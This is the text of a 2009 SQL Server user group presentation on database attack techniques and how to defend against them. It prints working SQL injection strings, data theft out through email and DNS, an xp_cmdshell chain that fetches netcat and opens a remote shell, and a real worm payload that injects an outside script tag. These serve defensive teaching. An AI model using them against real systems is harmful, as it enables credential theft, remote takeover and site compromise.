Think Like a Hacker - Database Attack Vectors

“Think Like A Hacker” Database Attack Vectors and Techniques to Thwart Them Silicon Valley SQL Server User Group September 15, 2009 Mark Ginnebaugh, User Group Leader www.bayareasql.org

Presenters: Slavik Markovich Sudha Iyer CTO, Sentrigo Director, LogLogic

What’s This Presentation All About? Know your enemy Understand types of problems and exploits Common DB hacking techniques Explain how to avoid SQL injection problems Raising the bar for the hackers

What are database security threats? Databases hold volumes of sensitive data e.g. credit card numbers, financial results, bank records, billing information, intellectual property, customer lists, personal data … But: • Databases are not monitored • Seldom upgraded • Not patched This makes databases an easy target

Databases - The Crown Jewels Types of hacking by number of breaches * Types of hacking by number of breaches Unauthorized access via default or shared 17 / 53% credentials SQL Injection 16 / 79% Improperly Constrained or Misconfigured ACLs 9 / 66% Unauthorized access via Stolen Credentials 7 / 0.1% Authentication Bypass 5 / 0.1% Brute-Force 4 / 7% Privilege Escalations 4 / 0% Exploitation of Session Variables 3 / 0% Buffer Overflow 3 / 0% Cross-Site Scripting 1 / 0% * 2009 Verizon Data Breach Report

Some Examples Database breaches exist since the first DB SB 1386 (July 2003), a U.S. law mandating breach notification, made them public Over 130M credit and debit cards • Heartland Payment Systems Hannaford Brothers, 7-Eleven, T.J. Maxx, Barnes & Noble, BJ's Wholesale Club, Boston Market, DSW, Forever 21, Office Max and Sports Authority Many breaches remain undetected or not made public

Know Your Enemy Unauthorized access - not just hackers • Too many privileges Internal attacks • Disgruntled employees • Just trying to get the job done • Industrial espionage, Identity theft, etc. • Look around you!!!

The Problems Does a hacker need DBA access? Myriad of privileges • System level, Application level, Data access • Any privilege in the right circumstances can be an issue Other issues • Network issues, incorrect configuration • Too many features – large attack surface

The Problems Most typical problems of real world databases • Weak / default passwords for database accounts • Missing patches / patchsets – see http://en.wikipedia.org/wiki/SQL_slammer_ (computer_worm) • Unsecure customer / 3rd party code (T-SQL stored procedures)

Basic Hacking Techniques Reconnaissance: nmap - http://nmap.org/ SQLPing3 - http://sqlsecurity.com/

Basic Hacking Techniques Crack the passwords • Many brute force tools out there

Newly Released Vulnerability Use DBCC Bytes to read passwords from memory Never use SQL Server Native Authentication

Powerful Tools Are Easily Available

Basic Hacking – The Human Factor Wait for your DBA to go for a coffee break Go to his desktop Open Management Studio Add yourself as an administrator to the database of your choice This can be easily scripted and put on a USB drive

SQL Injection (from Wikipedia) • a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

SQL Injection Exists in any layer of any application • C/S and Web Applications • Stored program units Build in User created Has many forms • Extra queries, unions, order by, sub selects Easily avoided • Bind variables, strong typing

SQL Injection Types In band – Use injection to return extra data • Part of normal result set (unions) • In error messages Out of band – Use alternative route like UTL_HTTP, DNS to extract data Blind / Inference – No data is returned but the hacker is able to infer the data using return codes, error codes, timing measurements and more

SQL Injection In-band select * from AdventureWorks.HumanResources.Employee where EmployeeID = 1; select name, password from sys.syslogins where password is not null 1 14417807 1209 adventure-worksguy1 16 Production Technician - WC60 1972-05-15 00:00:00.000 M M 1996- 07-31 00:00:00.000 0 21 30 1 AAE1D04A-C237- 4974-B4D5-935247737718 2004-07-31 00:00:00.000 2 sa 虀뛎◌豕醜‫ߨᦉﬥ‬ 㾋㴼绳ᦉ 3 test ꍮᒬᦉᦉ쵌藌街Ḷ왏 컕 Now, just attack the password hash using either using brute-force or dictionary.

SQL Injection In-Band Using errors – inject the following: 1 and 1 in (select @@version) Result is: Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3054.00 (Intel X86) Mar 23 2007 16:28:52 Copyright (c) 1988-2005 Microsoft Corporation Developer Edition on Windows NT 5.1 (Build 2600: Service Pack 2) to data type int.

SQL Injection Out-of-band Send information via HTTP/SMTP/DNS to an external site: select * from AdventureWorks.HumanResources.Employee where EmployeeID = 1; EXEC master.dbo.xp_sendmail @recipients=N'slavik@sentrigo.com', @query = N'select user, password from sys.syslogins where password is not null' ; Same can be done with DNS access – no one blocks this… Search for DNS-Request: www.8A8F025737A9097A.sentrigo.com and collect the logs from the DNS server

Blind SQL Injection Example code: If is_srvrolemember('sysdamin') > 0) waitfor delay '0:0:5' If (ascii(substring(@string, @byte, 1)) & (power(2, @bit))) > 0 waitfor '0:0:5'

SQL Injection – Web Application Username = ' or 1=1 -- The original statement looked like: 'select * from users where username = ''' + username + ''' and password = ''' + password + '''' The result = select * from users where username = '' or 1=1 --' and password = ''

Start The Attack Use a single quote as the username: select * from users where username = ''' and password = '' Msg 105, Level 15, State 1, Line 1 Unclosed quotation mark after the character string '' '. Msg 102, Level 15, State 1, Line 1 Incorrect syntax near '' '.

Let’s Find More Data Add an invalid username – ' having 1=1— select * from users where username = '' having 1=1 -- and password = '' Msg 8120, Level 16, State 1, Line 1 Column 'users.name' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Let’s Find More Data – Part II Find out other columns by adding ' group by users.username having 1=1 -- select * from users where username = '' group by users.username having 1=1 -- and password = '' Msg 8120, Level 16, State 1, Line 1 Column 'users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Now, Add Some Data From Table Pass in – '; insert into users (username, password) values ('haxor', 'p0wned') -- select * from users where username = ''; insert into users (username, password) values ('haxor', 'p0wned') -- and password = ''

Or, Get Some Data Pass in – ' union select min(username) from users where username > 'a' -- select * from users where username = '' union select min(username) from users where username > 'a' -- and password = '' Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the nvarchar value 'admin' to data type int.

Now We Can Enumerate All Users Pass in the resulting user in a loop – ' union select min(username) from users where username > 'admin' – Now, select the password for admin – ' or 1 in (select password from users where username = 'admin') -- Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the varchar value 'xxxxx' to data type int.

System Level Attacks Well, we all know about xp_cmdshell Pass in – '; exec master..xp_cmdshell 'dir > c:dir.txt' – Payload can be: 'nslookup attacker_machine' to signal to the attacker that attack succeeded 'tftp –I 192.168.0.1 GET nc.exe c:nc.exe' – Now we have something to work with 'C:nc.exe 192.168.0.1 53 –e cmd.exe' – Let's start a remote command shell

Real World Example Mass SQL worm in the wild since April 08 Enumerates all input fields and tries various SQL injection techniques Iterates on all text fields in the database and adds a call to a malicious script

Real World Example SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C415245204054205641524348415228323535292C404320564152434 841522832353529204445434C415245205461626C655F437572736F7220435552534F5220 464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6 563747320612C737973636F6C756D6E73206220574845524520612E69643D622E69642041 4E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E7 8747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D3136 3729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D2 05461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443 485F5354415455533D302920424547494E20455845432827555044415445205B272B40542 B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841 522834303030292C5B272B40432B275D29292B27273C736372697074207372633D6874747 03A2F2F7777772E616477626E722E636F6D2F622E6A733E3C2F7363726970743E27272729 204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F20405 42C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154 45205461626C655F437572736F7220 AS VARCHAR(4000)); EXEC (@S);-- ORDER BY ooo ASC Wow, how to read this?

Real World Example DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Real World Example The interesting part is here: ’UPDATE ['SOME_TABLE'] SET ['SOME_TEXT_COL']=RTRIM(CONVERT(VARCHAR( 4000),['SOME_TEXT_COL']))+”<script src=http://www.chkadw.com/b.js></script>”’ This is why you should use NoScript even for trusted sites

Protecting Your Database Think like a hacker • Learn about exploits • Always look for security issues Configuration, permissions, bugs Learn and use available tools • nmap, Metasploit, Wireshark, Hydra, Cryptool, SQLPing, Passwordizer, etc.

Protecting Your Database Apply patch sets and upgrades • Easier said than done Check for default and weak passwords regularly Secure the network • Valid node checking + firewall • Use encryption

Protecting Your Database Install only what you use, remove all else • Reduce your attack surface The least privilege principle • Lock down packages System access, file access, network access Encrypt critical data Use secure coding techniques • Bind variables, input validation • Clear ownership of security issues

Bind Variables – Java Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery( "select * from users where username = '" + username + "'"; vs. PreparedStatement pstmt = conn.prepareStatement("select * from users where username = ?"); pstmt.setString(1, username); ResultSet rs = pstmt.executeQuery();

Bind Variables - ASP Dim rsQuery Set rsQuery = Server.CreateObject("ADODB.Recordset") rsQuery.ActiveConnection = xxx rsQuery.Source = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'" rsQuery.CursorType = 0 rsQuery.CursorLocation = 2 rsQuery.LockType = 1 rsQuery.Open() VS. Dim rsQuery rsQuery = Server.CreateObject ("ADODB.Command") rsQuery.ActiveConnection = xxx rsQuery.CommandText = "SELECT * FROM users WHERE username = ? AND password = ?" rsQuery.Parameters.Append rsQuery.CreateParameter("username", 200, 1, 50, username) rsQuery.Parameters.Append rsQuery.CreateParameter("password", 200, 1, 50, password) rsQuery.Prepared = True Set rsResult = rsQuery.Execute

Secure Coding Policies Setup secure coding policies for the different languages Make the coding policies part of every contract – external and internal Default document for all developers OWASP

Some Coding Rules Avoid hardcoding username/password Use full qualified names for function and procedure calls Always validate user/database input Be careful with dynamic statements (Cursors, SQL- Statements, …) Be careful with file access Be careful with OS command execution

LogLogic Database Security Manager Host-based Sensor Technology In-Depth Activity Monitoring Granular Policy-based Detection Integrated Prevention Capabilities Real-Time Virtual Patching Compliance Reporting and Forensics Appliance-based Solution

Integrated Solution LogLogic Database Security Manager LogLogic Open Log Management » Granular policy-based detection » Compliance reporting » Integrated prevention capabilities » Long term archival » Real-time virtual patching » Forensics analysis

Questions?

www.bayareasql.org To attend our meetings or inquire about speaking opportunities, please contact: Mark Ginnebaugh, User Group Leader mark@designmind.com

http://www.designmind.com	846
http://pentestlab.wordpress.com	113
http://www.techgig.com	36
http://markginnebaugh.com	30
http://www.slideshare.net	10
http://sps2010.designmind.com	3
http://reestols.blogspot.com	2
http://webcache.googleusercontent.com	2
http://udlapis118.pbworks.com	1

Think Like a Hacker - Database Attack Vectors

by Mark Ginnebaugh on Sep 16, 2009

Accessibility

Categories

Tags

Upload Details

Usage Rights

9 Embeds 1,043

Statistics

Think Like a Hacker - Database Attack Vectors — Presentation Transcript